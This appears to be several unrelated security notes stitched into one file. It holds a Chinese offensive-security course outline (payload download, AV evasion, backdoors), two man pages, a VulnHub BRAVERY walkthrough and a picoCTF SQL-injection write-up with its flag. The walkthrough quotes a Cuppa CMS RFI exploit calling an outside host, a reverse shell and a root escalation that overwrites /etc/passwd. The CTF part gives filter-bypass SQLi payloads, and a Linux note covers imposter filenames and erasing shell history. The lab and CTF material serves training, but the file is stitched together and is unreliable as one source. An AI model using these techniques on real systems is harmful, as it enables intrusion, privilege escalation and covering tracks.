比较详细的地址:http://www.cheat-sheets.org/saved-copy/git-cheat-sheet.pdf ## 参考资料 - [Git - 简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - [图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - [廖雪峰 : Git 教程](https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - [Learn Git Branching](https://learngitbranching.js.org/)
sec-knowleage
# 第一章:生 ### 1-10课: [第一课:windows提权-快速查找exp](../Chapter1/1_windows提权-快速查找exp.md) [第二课:Linux提权-依赖exp篇](../Chapter1/2_Linux提权-依赖exp篇.md) [第三课:Delphi代码审计--项目实战1](../Chapter1/3_Delphi代码审计--项目实战1.md) [第四课:Asp代码审计--项目实战2](../Chapter1/4_Asp代码审计--项目实战2.md) [第五课:工具介绍-Sqlmap](../Chapter1/5_工具介绍-Sqlmap.md) [第六课:反攻的一次溯源--项目实战3](../Chapter1/6_反攻的一次溯源--项目实战3.md) [第七课:sql server 常用操作远程桌面语句](../Chapter1/7_sqlServer常用操作远程桌面语句.md) [第八课:模拟诉求任务攻击](../Chapter1/8_模拟诉求任务攻击.md) [第九课:工具介绍-the-backdoor-factory](../Chapter1/9_工具介绍-the-backdoor-factory.md) [第十课:msfvenom常用生成payload命令](../Chapter1/10_msfvenom常用生成payload命令.md) ### 11-20课: [第十一课:工具介绍Veil-Evasion](../Chapter1/11_工具介绍Veil-Evasion.md) [第十二课:基于UDP发现内网存活主机](../Chapter1/12_基于UDP发现内网存活主机.md) [第十三课:基于ARP发现内网存活主机](../Chapter1/13_基于ARP发现内网存活主机.md) [第十四课:基于第十课补充payload1](../Chapter1/14_基于第十课补充payload1.md) [第十五课:基于第十课补充payload2](../Chapter1/15_基于第十课补充payload2.md) [第十六课:红蓝对抗渗透测试1](../Chapter1/16_红蓝对抗渗透测试1.md) [第十七课:红蓝对抗渗透测试2](../Chapter1/17_红蓝对抗渗透测试2.md) [第十八课:红蓝对抗渗透测试3](../Chapter1/18_红蓝对抗渗透测试3.md) [第十九课:基于netbios发现内网存活主机](../Chapter1/19_基于netbios发现内网存活主机.md) [第二十课:基于snmp发现内网存活主机](../Chapter1/20_基于snmp发现内网存活主机.md) ### 21-30课: [第二十一课:基于ICMP发现内网存活主机](../Chapter1/21-30/21_基于ICMP发现内网存活主机.md) [第二十二课:基于SMB发现内网存活主机](../Chapter1/21-30/22_基于SMB发现内网存活主机.md) [第二十三课:基于MSF发现内网存活主机第一季](../Chapter1/21-30/23_基于MSF发现内网存活主机第一季.md) [第二十四课:基于MSF发现内网存活主机第二季](../Chapter1/21-30/24_基于MSF发现内网存活主机第二季.md) [第二十五课:基于MSF发现内网存活主机第三季 ](../Chapter1/21-30/25_基于MSF发现内网存活主机第三季.md) [第二十六课:基于MSF发现内网存活主机第四季](../Chapter1/21-30/26_基于MSF发现内网存活主机第四季.md) [第二十七课:基于MSF发现内网存活主机第五季 ](../Chapter1/21-30/27_基于MSF发现内网存活主机第五季.md) [第二十八课:基于MSF发现内网存活主机第六季](../Chapter1/21-30/28_基于MSF发现内网存活主机第六季.md) [第二十九课:发现目标WEB程序敏感目录第一季](../Chapter1/21-30/29_发现目标WEB程序敏感目录第一季.md) [第三十课:解决msfvenom命令自动补全](../Chapter1/21-30/30_解决msfvenom命令自动补全.md) ### 31-40课: [第三十一课:msf的前生今世](../Chapter1/31_msf的前生今世.md) [第三十二课:配置vps上的msf](../Chapter1/32_配置vps上的msf.md) [第三十三课:攻击Mysql服务](../Chapter1/33_攻击Mysql服务.md) [第三十四课:攻击Sql server 服务](../Chapter1/34_攻击SqlServer服务.md) [第三十五课:与Sqlmap结合攻击](../Chapter1/35_与Sqlmap结合攻击.md) [第三十六课:解决vps上ssh掉线](../Chapter1/36_解决vps上ssh掉线.md) [第三十七课:vbs一句话下载payload](../Chapter1/37_vbs一句话下载payload.md) [第三十八课:certutil一句话下载payload](../Chapter1/38_certutil一句话下载payload.md) [第三十九课:vbs一句话下载payload补充](../Chapter1/39_vbs一句话下载payload补充.md) [第四十课:ftp一句话下载payload](../Chapter1/40_ftp一句话下载payload.md) ### 41-50课: [第四十一课:bitsadmin一句话下载payload](../Chapter1/41_bitsadmin一句话下载payload.md) [第四十二课:攻击FTP服务](../Chapter1/42_攻击FTP服务.md) [第四十三课:js一句话下载payload](../Chapter1/43_js一句话下载payload.md) [第四十四课:ertutil一句话下载payload补充](../Chapter1/44_ertutil一句话下载payload补充.md) [第四十五课:解决bat一句话下载payload黑窗](../Chapter1/45_解决bat一句话下载payload黑窗.md) [第四十六课:powershell一句话下载payload](../Chapter1/46_powershell一句话下载payload.md) [第四十七课:payload分离免杀思路](../Chapter1/47_payload分离免杀思路.md) [第四十八课:payload分离免杀思路第二季](../Chapter1/48_payload分离免杀思路第二季.md) [第四十九课:关于Powershell对抗安全软件](../Chapter1/49_关于Powershell对抗安全软件.md) [第五十课:基于SqlDataSourceEnumerator发现内网存活主机](../Chapter1/50_基于SqlDataSourceEnumerator发现内网存活主机.md) ### 51-60课: [第五十一课:项目回忆:体系的本质是知识点串联](../Chapter1/51_项目回忆:体系的本质是知识点串联.md) [第五十二课:渗透的本质是信息搜集](../Chapter1/52_渗透的本质是信息搜集.md) [第五十三课:内网渗透中的文件传输](../Chapter1/53_内网渗透中的文件传输.md) [第五十四课:基于Powershell做Socks 4-5代理](../Chapter1/54_基于Powershell做Socks4-5代理.md) [第五十五课:与Smbmap结合攻击](../Chapter1/55_与Smbmap结合攻击.md) [第五十六课:离线提取目标机hash](../Chapter1/56_离线提取目标机hash.md) [第五十七课:高级持续渗透-第一季关于后门](../Chapter1/57_高级持续渗透-第一季关于后门.md) [第五十八课:高级持续渗透-第二季关于后门补充一](../Chapter1/58_高级持续渗透-第二季关于后门补充一.md) [第五十九课:高级持续渗透-第三季关于后门补充二](../Chapter1/59_高级持续渗透-第三季关于后门补充二.md) [第六十课:高级持续渗透-第四季关于后门](../Chapter1/60_高级持续渗透-第四季关于后门.md) ### 61-70课: [第六十一课:高级持续渗透-第五季关于后门](../Chapter1/61-70/61_高级持续渗透-第五季关于后门.md) [第六十二课:高级持续渗透-第六季关于后门](../Chapter1/61-70/62_高级持续渗透-第六季关于后门.md) [第六十三课:高级持续渗透-第七季demo的成长](../Chapter1/61-70/63_高级持续渗透-第七季demo的成长.md) [第六十四课:高级持续渗透-第八季demo便是远控](../Chapter1/61-70/64_高级持续渗透-第八季demo便是远控.md) [第六十五课:离线提取目标机hash补充](../Chapter1/61-70/65_离线提取目标机hash补充.md) [第六十六课:借助aspx对payload进行分离免杀](../Chapter1/61-70/66_借助aspx对payload进行分离免杀.md) [第六十七课:meterpreter下的irb操作第一季](../Chapter1/61-70/67_meterpreter下的irb操作第一季.md) [第六十八课:基于Ruby内存加载shellcode第一季](../Chapter1/61-70/68_基于Ruby内存加载shellcode第一季.md) [第六十九课:渗透,持续渗透,后渗透的本质](../Chapter1/61-70/69_渗透-持续渗透-后渗透的本质.md) [第七十课:ftp一句话下载payload补充](../Chapter1/61-70/70_ftp一句话下载payload补充.md) ### 71-80课: [第七十一课:基于白名单Msbuild.exe执行payload第一季](../Chapter1/71-80/71_基于白名单Msbuild.exe执行payload第一季.md) [第七十二课:基于白名单Installutil.exe执行payload第二季](../Chapter1/71-80/72_基于白名单Installutil.exe执行payload第二季.md) [第七十三课:基于白名单Regasm.exe执行payload第三季](../Chapter1/71-80/73_基于白名单Regasm.exe执行payload第三季.md) [第七十四课:基于白名单Regsvcs.exe执行payload第四季 ](../Chapter1/71-80/74_基于白名单regsvcs.exe执行payload第四季.md) [第七十五课:基于白名单Mshta.exe执行payload第五季](../Chapter1/71-80/75_基于白名单Mshta.exe执行payload第五季.md) [第七十六课:基于白名单Compiler.exe执行payload第六季](../Chapter1/71-80/76_基于白名单Compiler.exe执行payload第六季.md) [第七十七课:基于白名单Csc.exe执行payload第七季](../Chapter1/71-80/77_基于白名单Csc.exe执行payload第七季.md) [第七十八课:基于白名单Msiexec执行payload第八季](../Chapter1/71-80/78_基于白名单Msiexec执行payload第八季.md) [第七十九课:基于白名单Regsvr32执行payload第九季](../Chapter1/71-80/79_基于白名单Regsvr32执行payload第九季.md) [第八十课:基于白名单Wmic执行payload第十季](../Chapter1/71-80/80_基于白名单Wmic执行payload第十季.md) ### 81-90课: [第八十一课:基于白名单Rundll32.exe执行payload第十一季](../Chapter1/81-90/81_基于白名单Rundll32.exe执行payload第十一季.md) [第八十二课:基于白名单Odbcconf执行payload第十二季](../Chapter1/81-90/82_基于白名单Odbcconf执行payload第十二季.md) [第八十三课:基于白名单PsExec执行payload第十三季 ](../Chapter1/81-90/83_基于白名单PsExec执行payload第十三季.md) [第八十四课:基于白名单Forfiles执行payload第十四季](../Chapter1/81-90/84_基于白名单Forfiles执行payload第十四季.md) [第八十五课:基于白名单Pcalua执行payload第十五季](../Chapter1/81-90/85_基于白名单Pcalua执行payload第十五季.md) [第八十六课:基于白名单Msiexec执行payload第八季补充](../Chapter1/81-90/86_基于白名单Msiexec执行payload第八季补充.md) [第八十七课:基于白名单Cmstp.exe执行payload第十六季](../Chapter1/81-90/87_基于白名单Cmstp.exe执行payload第十六季.md) [第八十八课:基于白名单Ftp.exe执行payload第十九季](../Chapter1/81-90/88_基于白名单Ftp.exe执行payload第十九季.md) [第八十九课:基于白名单Url.dll执行payload第十七季](../Chapter1/81-90/89_基于白名单Url.dll执行payload第十七季.md) [第九十课:基于白名单zipfldr.dll执行payload第十八季](../Chapter1/81-90/90_基于白名单zipfldr.dll执行payload第十八季.md) ### 91-100课: [第九十一课:从目标文件中做信息搜集第一季](../Chapter1/91-100/91_从目标文件中做信息搜集第一季.md) [第九十二课:实战中的Payload应用](../Chapter1/91-100/92_实战中的Payload应用.md) [第九十三课:与CrackMapExec结合攻击](../Chapter1/91-100/93_与CrackMapExec结合攻击.md) [第九十四课:基于实战中的small payload](../Chapter1/91-100/94_基于实战中的small-payload.md) [第九十五课:基于Portfwd端口转发](../Chapter1/91-100/95_基于Portfwd端口转发.md) [第九十六课:HTTP隧道ABPTTS第一季](../Chapter1/91-100/96_HTTP隧道ABPTTS第一季.md) [第九十七课:MSF配置自定义Payload控制目标主机权限](../Chapter1/91-100/97_MSF配置自定义Payload控制目标主机权限.md) [第九十八课:HTTP隧道reGeorg第二季](../Chapter1/91-100/98_HTTP隧道reGeorg第二季.md) [第九十九课:HTTP隧道Tunna第三季](../Chapter1/91-100/99_HTTP隧道Tunna第三季.md) [第一百课:HTTP隧道reDuh第四季](../Chapter1/91-100/100_HTTP隧道reDuh第四季.md) ------- # 第二章:老(待更新...) ### 101-110课: 第一百零一课:基于SCF做目标内网信息搜集第二季 第一百零二课:对抗权限长期把控-伪造无效签名第一季 第一百零三课:Http加密隧道下的横向渗透尝试---klion 第一百零四课:Windows Smb 欺骗重放攻击利用---klion 第一百零五课:windows 单机免杀抓明文或hash [通过dump lsass进程数据]---klion 第一百零六课:windows 单机免杀抓明文或hash [通过简单混淆编码绕过常规静态检测]---klion 第一百零七课:跨平台横向移动 [ windows计划任务利用 ]---klion 第一百零八课:跨平台横向移动 [wmi利用]---klion 第一百零九课:依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机---klion 第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用]---klion ### 111-120课: 第一百一十一课:内网mssql完整利用流程 [ 基础篇 ]---klion 第一百一十二课:利用Dropbox中转C2流量---klion 第一百一十三课:COM Hijacking---倾旋 第一百一十四课:渗透沉思录 第一百一十五课:使用CrackMapExec 进行 NTLM Hash传递攻击---倾旋 第一百一十六课:Windows域渗透 - 用户密码枚举---倾旋 第一百一十七课:Windows 本地特权提升技巧---倾旋 第一百一十八课:CVE-2017-11882钓鱼攻击---倾旋 第一百一十九课:全平台高性能加密隧道 ssf---klion 第一百二十课:win自带的高级网络配置管理工具深度应用 [ netsh ]---klion ### 121-130课: 第一百二十一课:http加密代理深度应用 [ abptts ]---klion 第一百二十二课:利用 ssh隧道实现内网断网机meterpreter反向上线---klion 第一百二十三课:利用ssh隧道将公网meterpreter弹至本地的msf中---klion ------- # 第三章:病(待更新...)
sec-knowleage
.TH lspci 8 "30 March 2002" "pciutils-2.1.10" "Linux PCI Utilities" .IX lspci .SH NAME lspci \- 列出所有PCI设备 .SH 总览 SYNOPSIS .B lspci .RB [ options ] .SH 描述 DESCRIPTION .B lspci 是一个用来显示系统中所有PCI总线设备或连接到该总线上的所有设备的工具。 为了能使用这个命令所有功能,你需要有 \fIlinux\fR \fI2.1.82\fR 或以上版本,支持 \fI/proc/bus/pci\fR 接口的内核。在旧版本内核中,PCI工具必须使用只有root才能执行的直接硬件访问,而且总是出现竞争状况以及其他问题。 如果你要报告 PCI 设备驱动中,或者是 .I lspci 自身的 bugs,请在报告中包含 \fI"lspci -vvx"\fR 的输出。 .SH 选项 OPTIONS .TP .B -v 使得 .I lspci 以冗余模式显示所有设备的详细信息。 .TP .B -vv 使得 .I lspci 以过冗余模式显示更详细的信息 (事实上是 PCI 设备能给出的所有东西)。这些数据的确切意义没有在此手册页中解释,如果你想知道更多,请参照 .B /usr/include/linux/pci.h 或者 PCI 规范。 .TP .B -n 以数字形式显示 PCI 生产厂商和设备号,而不是在 PCI ID 数据库中查找它们。 .TP .B -x 以十六进制显示 PCI 配置空间 (configuration space) 的前64个字节映象 (标准头部信息)。此参数对调试驱动和 .I lspci 本身很有用。 .TP .B -xxx 以十六进制显示所有 PCI 配置空间的映象。此选项只有 root 可用,并且很多 PCI 设备在你试图读取配置空间的未定义部分时会崩溃 (此操作可能不违反PCI标准,但是它至少非常愚蠢)。 .TP .B -b 以总线为中心进行查看。显示所有 IRQ 号和内存地址,就象 PCI 总线上的卡看到的一样,而不是内核看到的内容。 .TP .B -t 以树形方式显示包含所有总线、桥、设备和它们的连接的图表。 .TP .B -s [[<bus>]:][<slot>][.[<func>]] 仅显示指定总线、插槽上的设备或设备上的功能块信息。设备地址的任何部分都可以忽略,或以“*”代替 (意味着所有值)。所有数字都是十六进制。例如:“0:”指的是在0号总线上的所有设备;“0”指的是在任意总线上0号设备的所有功能块;“0.3”选择了所有总线上0号设备的第三个功能块;“.4”则是只列出每一设备上的第四个功能块。 .TP .B -d [<vendor>]:[<device>] 只显示指定生产厂商和设备 ID 的设备。 这两个 ID 都以十六进制表示,可以忽略或者以“*”代替 (意味着所有值)。 .TP .B -i <file> 使用 .B <file> 作为 PCI ID 数据库而不是使用默认的 \fI/usr/share/hwdata/pci.ids\fR。 .TP .B -p <dir> 使用 .B <dir> 作为包含 PCI 总线信息的目录而不是使用默认的目录 \fI/proc/bus/pci\fR。 .TP .B -m 以机器可读的方式转储 PCI 设备数据 (支持两种模式:普通和冗余),便于脚本解析。 .TP .B -M 使用总线映射模式,这种模式对总线进行全面地扫描以查明总线上的所有设备,包括配置错误的桥之后的设备。请注意,此操作只应在调试时使用,并可能造成系统崩溃 (只在设备有错误的时候,但是不幸的是它们存在),此命令只有 root 可以使用。同时,在不直接接触硬件的 PCI 访问模式中使用 \fI-M\fR 参数没有意义,因为显示的结果 (排除 lspci 中的 bug 的影响) 与普通的列表模式相同。 .TP .B --version 显示 .I lspci 的版本。这个选项应当单独使用。 .SH "PCILIB 选项 PCILIB OPTIONS" PCI 工具使用 PCILIB (一种可移植的库,提供平台独立的函数来访问 PCI 配置空间) 来和PCI卡交互。下面的选项用来控制库参数,特别是所用访问模式的指定。默认情况下,PCILIB 使用第一种可用的访问模式,不会显示任何调试信息。每一个开关选项都列出了一组它所支持的硬件/软件列表。 .TP .B -P <dir> 使用 linux 2.1 风格的配置,直接访问目录 .B <dir> 而非 \fI/proc/bus/pci\fR 目录。(只能在 linux 2.1 或以上版本中使用) .TP .B -H1 通过 Intel 架构 \fB1\fR 来实现直接硬件访问。(只能用于 i386 及其兼容机) .TP .B -H2 通过Intel 架构 \fB2\fR 来实现直接硬件访问。警告:此模式只能寻址任何总线上的前16个设备,并且在很多情况下相当不可靠。(只能用于 i386 及其兼容机) .TP .B -S 使用 PCI 系统调用访问。(只能用于 Alpha 和 Ultra-Sparc 上的 Linux) .TP .B -F <file> 从所给的包含 \fIlspci -x\fR 命令输出的文件中获取相关信息。这在分析用户提交的错误报告时很有用,因为你可以用任何方式来显示硬件配置信息而无需为了获取更多信息打扰用户。(可用于所有系统) .TP .B -G 增加库的调试等级。(可用于所有系统) .SH 文件 FILES .TP .B /usr/share/hwdata/pci.ids 所有已知 PCI ID 的清单 (厂商,设备名,类,子类) .TP .B /proc/bus/pci \fIlinux 2.1.82\fR 之后版本内核提供的 PCI 总线配置空间的接口。包含每个总线 (per-bus) 的子目录以及每个设备卡 (per-card) 的配置空间文件,还有一个 .I devices 文件,包含所有PCI设备的列表。 .SH 参见 SEE ALSO .BR setpci (8) .SH 作者 AUTHOR Linux PCI 工具由 Martin Mares <mj@atrey.karlin.mff.cuni.cz> 维护。 .SH "[中文版维护人]" .B 所罗门 <solomen@email.com.cn> .SH "[中文版最新更新]" .B Nov 28 2000 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# digitalworld.local: BRAVERY > https://download.vulnhub.com/digitalworld/bravery-improved.7z.torrent 靶场IP:`192.168.32.203` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.203 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 22:13 EDT Nmap scan report for 192.168.32.203 Host is up (0.00051s latency). Not shown: 65522 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 53/tcp open domain dnsmasq 2.76 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16) 111/tcp open rpcbind 2-4 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 2049/tcp open nfs_acl 3 (RPC #100227) 3306/tcp open mysql MariaDB (unauthorized) 8080/tcp open http nginx 1.12.2 20048/tcp open mountd 1-3 (RPC #100005) 45062/tcp open nlockmgr 1-4 (RPC #100021) 55372/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:34:0B:BA (VMware) Service Info: Host: BRAVERY Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.87 seconds ``` 查看nfs ``` ┌──(root💀kali)-[/tmp] └─# showmount -e 192.168.32.203 Export list for 192.168.32.203: /var/nfsshare * ``` 挂载nfs目录 ``` ┌──(root💀kali)-[/tmp] └─# mkdir /tmp/test ┌──(root💀kali)-[/tmp] └─# mount -t nfs 192.168.32.203:/var/nfsshare /tmp/test/ ┌──(root💀kali)-[/tmp] └─# cd /tmp/test ┌──(root💀kali)-[/tmp/test] └─# ls discovery enumeration explore itinerary password.txt qwertyuioplkjhgfdsazxcvbnm README.txt ``` 枚举共享目录 ``` ┌──(root💀kali)-[/tmp/test] └─# enum4linux 192.168.32.203 ``` ![image-20220906102112593](../../.gitbook/assets/image-20220906102112593.png) 使用之前的密码(`qwertyuioplkjhgfdsazxcvbnm`)登录共享目录 ``` ┌──(root💀kali)-[/tmp/test] └─# smbclient //192.168.32.203/anonymous Password for [WODGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Sep 28 09:01:35 2018 .. D 0 Thu Jun 14 12:30:39 2018 patrick's folder D 0 Fri Sep 28 08:38:27 2018 qiu's folder D 0 Fri Sep 28 09:27:20 2018 genevieve's folder D 0 Fri Sep 28 09:08:31 2018 david's folder D 0 Tue Dec 25 21:19:51 2018 kenny's folder D 0 Fri Sep 28 08:52:49 2018 qinyi's folder D 0 Fri Sep 28 08:45:22 2018 sara's folder D 0 Fri Sep 28 09:34:23 2018 readme.txt N 489 Fri Sep 28 09:54:03 2018 17811456 blocks of size 1024. 13181736 blocks available ``` 使用**David**用户访问`secured`目录 ``` ┌──(root💀kali)-[/tmp/test] └─# smbclient //192.168.32.203/secured -U David Password for [WODGROUP\David]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Fri Sep 28 09:52:14 2018 .. D 0 Thu Jun 14 12:30:39 2018 david.txt N 376 Sat Jun 16 04:36:07 2018 genevieve.txt N 398 Mon Jul 23 12:51:27 2018 README.txt N 323 Mon Jul 23 21:58:53 2018 17811456 blocks of size 1024. 13185880 blocks available smb: \> get david.txt getting file \david.txt of size 376 as david.txt (73.4 KiloBytes/sec) (average 73.4 KiloBytes/sec) smb: \> get genevieve.txt getting file \genevieve.txt of size 398 as genevieve.txt (77.7 KiloBytes/sec) (average 75.6 KiloBytes/sec) smb: \> get README.txt getting file \README.txt of size 323 as README.txt (52.6 KiloBytes/sec) (average 67.0 KiloBytes/sec) ``` 查看三个文件,找到三个路径 ![image-20220906103112147](../../.gitbook/assets/image-20220906103112147.png) 访问`/developmentsecretpage` ![image-20220906103138914](../../.gitbook/assets/image-20220906103138914.png) 访问`/devops/directortestpagev1.php` ![image-20220906103206446](../../.gitbook/assets/image-20220906103206446.png) 访问`/genevieve/` ![image-20220906103243535](../../.gitbook/assets/image-20220906103243535.png) 查看目录,找到`Cuppa CMS` ![image-20220906103413100](../../.gitbook/assets/image-20220906103413100.png) 查找漏洞版本 ``` ┌──(root💀kali)-[/tmp] └─# searchsploit cuppa ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ┌──(root💀kali)-[/tmp] └─# searchsploit -m php/webapps/25971.txt Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion URL: https://www.exploit-db.com/exploits/25971 Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt File Type: C++ source, ASCII text, with very long lines Copied to: /tmp/25971.txt ``` > exp > > ``` > http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt? > http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd > ``` ``` http://192.168.32.203/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd ``` ![image-20220906103710819](../../.gitbook/assets/image-20220906103710819.png) RFI反弹shell ![QQ录屏20220906104051](../../.gitbook/assets/QQ录屏20220906104051.gif) 寻找文件 ``` sh-4.2$ cat maintenance.sh cat maintenance.sh #!/bin/sh rm /var/www/html/README.txt echo "Try harder!" > /var/www/html/README.txt chown apache:apache /var/www/html/README.txt ``` 查看suid ``` sh-4.2$ find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /usr/bin/cp /usr/bin/chfn /usr/bin/chsh /usr/bin/fusermount /usr/bin/chage /usr/bin/gpasswd /usr/bin/newgrp /usr/bin/sudo /usr/bin/mount /usr/bin/su /usr/bin/umount /usr/bin/Xorg /usr/bin/pkexec /usr/bin/crontab /usr/bin/passwd /usr/bin/ksu /usr/bin/at /usr/bin/staprun /usr/sbin/pam_timestamp_check /usr/sbin/unix_chkpwd /usr/sbin/usernetctl /usr/sbin/userhelper /usr/sbin/mount.nfs /usr/lib/polkit-1/polkit-agent-helper-1 /usr/libexec/dbus-1/dbus-daemon-launch-helper /usr/libexec/flatpak-bwrap /usr/libexec/sssd/krb5_child /usr/libexec/sssd/ldap_child /usr/libexec/sssd/selinux_child /usr/libexec/sssd/proxy_child /usr/libexec/qemu-bridge-helper /usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper /usr/libexec/abrt-action-install-debuginfo-to-abrt-cache ``` 创建密码 ``` ┌──(root💀kali)-[/tmp] └─# openssl passwd -1 -salt hack pass123 $1$hack$22.CgYt2uMolqeatCk9ih/ ``` 查看靶场的passwd文件,并在本地编辑新增用户,给靶场下载**覆盖** ![image-20220906105353158](../../.gitbook/assets/image-20220906105353158.png) 提权成功 ![image-20230208134643616](../../.gitbook/assets/image-20230208134643616.png)
sec-knowleage
su === 用于切换当前用户身份到其他用户身份 ## 补充说明 **su命令** 用于切换当前用户身份到其他用户身份,变更时须输入所要变更的用户帐号与密码。 ### 语法 ```shell su(选项)(参数) ``` ### 选项 ```shell -c<指令>或--command=<指令>:执行完指定的指令后,即恢复原来的身份; -f或——fast:适用于csh与tsch,使shell不用去读取启动文件; -l或——login:改变身份时,也同时变更工作目录,以及HOME,SHELL,USER,logname。此外,也会变更PATH变量; -m,-p或--preserve-environment:变更身份时,不要变更环境变量; -s<shell>或--shell=<shell>:指定要执行的shell; --help:显示帮助; --version;显示版本信息。 ``` ### 参数 用户:指定要切换身份的目标用户。 ### 实例 变更帐号为root并在执行ls指令后退出变回原使用者: ```shell su -c ls root ``` 变更帐号为root并传入`-f`选项给新执行的shell: ```shell su root -f ``` 变更帐号为test并改变工作目录至test的家目录: ```shell su - test ```
sec-knowleage
# Web Gauntlet Category: Web Exploitation ## Description > Can you beat the filters? Log in as admin ## Solution Two links were attached. One contained a simple web form with input fields for a username and password: ```html <h5 class="card-title text-center">Round 1 / 5</h5> <form class="form-signin" action="index.php" method="post"> <div class="form-label-group"> <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus> <label for="user">Username</label> </div> <div class="form-label-group"> <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required> <label for="pass">Password</label> </div> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button> </form> ``` If we try to sign in with a random username and password (e.g. `user:pass`), we get the following as output: ```sql SELECT * FROM users WHERE username='user' AND password='pass' ``` The other was called `filter.php` and contained this: ```console root@kali:/media/sf_CTFs/pico/Web_Gauntlet# curl http://jupiter.challenges.picoctf.org:28955/filter.php Round1: or<br/> ``` So, it seems safe to assume that we need to login to the website using SQL injection without using the keyword in the filter. To pass the first round, we can use `admin'--` as the username, causing the rest of the clause to be interpreted as a comment: ```sql SELECT * FROM users WHERE username='admin'--' AND password='pass' ``` Round 2 introduces the following filter: ``` Round2: or and like = -- ``` We'll just try a different comment style. `#` doesn't work but `/*` does, making our input `admin'/*` and our complete clause: ```sql SELECT * FROM users WHERE username='admin'/*' AND password='pass' ``` Round 3 has the following filters: ``` Round3: or and = like > < -- ``` Same trick works here, using `admin'/*`: ```sql SELECT * FROM users WHERE username='admin'/*' AND password='pass' ``` Round 4 filters: ``` Round4: or and = like > < -- admin ``` We can't use `admin` so we'll just have to recreate the string via concatenation. `CONCAT` doesn't seem to work, but `||` does and this must be sqlite. We enter `a'||'dmin'/*` as input and get: ```sql SELECT * FROM users WHERE username='a'||'dmin'/*' AND password='pass' ``` Last round, filters are: ``` Round5: or and = like > < -- union admin ``` Same as before, we use `a'||'dmin'/*` and get: ```sql SELECT * FROM users WHERE username='a'||'dmin'/*' AND password='pass' ``` Finally we are informed to check `filter.php` for the flag, where a PHP script is dumped: ```php <?php session_start(); if (!isset($_SESSION["round"])) { $_SESSION["round"] = 1; } $round = $_SESSION["round"]; $filter = array(""); $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($round === 1) { $filter = array("or"); if ($view) { echo "Round1: ".implode(" ", $filter)."<br/>"; } } else if ($round === 2) { $filter = array("or", "and", "like", "=", "--"); if ($view) { echo "Round2: ".implode(" ", $filter)."<br/>"; } } else if ($round === 3) { $filter = array(" ", "or", "and", "=", "like", ">", "<", "--"); // $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin"); if ($view) { echo "Round3: ".implode(" ", $filter)."<br/>"; } } else if ($round === 4) { $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin"); // $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin"); if ($view) { echo "Round4: ".implode(" ", $filter)."<br/>"; } } else if ($round === 5) { $filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin"); // $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin"); if ($view) { echo "Round5: ".implode(" ", $filter)."<br/>"; } } else if ($round >= 6) { if ($view) { highlight_file("filter.php"); } } else { $_SESSION["round"] = 1; } // picoCTF{y0u_m4d3_1t_a5f58d5564fce237fbcc978af033c11b} ?> ``` The flag: `picoCTF{y0u_m4d3_1t_a5f58d5564fce237fbcc978af033c11b}`
sec-knowleage
# Linux - Evasion ## Summary - [File names](#file-names) - [Command history](#command-history) - [Hiding text](#hiding-text) - [Timestomping](#timestomping) ## File Names An Unicode zero-width space can be inserted into filenames which makes the names visually indistinguishable: ```bash # A decoy file with no special characters touch 'index.php' # An imposter file with visually identical name touch $'index\u200D.php' ``` ## Command History Most shells save their command history so a user can recall them again later. The command history can be viewed with the `history` command or by manually inspecting the contents of the file pointed to by `$HISTFILE` (e.g. `~/.bash_history`). This can be prevented in a number of ways. ```bash # Prevent writing to the history file at all unset HISTFILE # Don't save this session's command history in memory export HISTSIZE=0 ``` Individual commands that match a pattern in `HISTIGNORE` will be excluded from the command history, regardless of `HISTFILE` or `HISTSIZE` settings. By default, `HISTIGNORE` will ignore all commands that begin with whitespace: ```bash # Note the leading space character: my-sneaky-command ``` If commands are accidentally added to the command history, individual command entries can be removed with `history -d`: ```bash # Removes the most recently logged command. # Note that we actually have to delete two history entries at once, # otherwise the `history -d` command itself will be logged as well. history -d -2 && history -d -1 